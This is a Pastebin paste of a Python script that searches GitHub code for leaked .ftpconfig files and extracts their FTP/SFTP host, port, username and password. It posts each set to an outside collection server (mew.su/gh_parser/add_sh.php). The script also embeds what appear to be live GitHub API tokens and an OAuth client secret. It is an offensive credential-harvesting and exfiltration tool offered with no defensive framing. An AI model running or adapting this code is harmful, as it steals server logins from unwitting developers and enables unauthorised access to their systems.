Advertisement
imeow

Untitled

Dec 3rd, 2017
105
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.10 KB | None | 0 0
  1. import requests
  2. import json
  3. import re
  4. from random import shuffle
  5.  
  6.  
  7. user_token = '9f4923f8d8de6f3eb3b3b76ec88bfc2e2981346a'
  8. client_id = 'ed4bf9099b6e6ad55c15'
  9. client_secret = 'e70cad07430b6b943800bd36049ced66e2fcf90f'
  10.  
  11. def scanBlockioGh(query):
  12. page = 0
  13.  
  14.  
  15. request_url = 'https://api.github.com/search/code?q=' + query + '&page=' + str(page) + '&sort=indexed&order=desc&access_token=' + user_token
  16. r = requests.get(request_url)
  17.  
  18. while True:
  19.  
  20. if page > 0:
  21. r = requests.get(request_url.group(1))
  22. print (request_url.group(1))
  23.  
  24.  
  25. if(r.ok):
  26. content = json.loads(r.text or r.content)
  27. print(content)
  28.  
  29. for item in content['items']:
  30. raw_url = item['html_url'].replace('github.com', 'raw.githubusercontent.com').replace('/blob', '')
  31.  
  32. # Need to make a code for parsing ftpconfig from GH
  33. cont = requests.get(raw_url)
  34. try:
  35. jcont = json.loads(cont.text)
  36. print(jcont)
  37. sname = jcont['protocol']
  38. surl = jcont['remote']
  39. shost = jcont['host']
  40. sport = jcont['port']
  41. spassword = jcont['pass']
  42. susername = jcont['user']
  43.  
  44. requests.post('https://mew.su/gh_parser/add_sh.php',
  45. data={'name': sname,
  46. 'url': surl,
  47. 'host': shost,
  48. 'port': sport,
  49. 'password': spassword,
  50. 'username': susername})
  51.  
  52. sname, surl, shost, sport, spassword, susername = '', '', '', '', '', ''
  53.  
  54. except:
  55. pass
  56.  
  57.  
  58. request_url = re.search("<(.*?)>; rel=\"next\"", r.headers['Link'])
  59. page = page + 1
  60.  
  61.  
  62. list_queries = ['sftp+filename:.ftpconfig']
  63.  
  64. for query in list_queries:
  65. scanBlockioGh(query)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement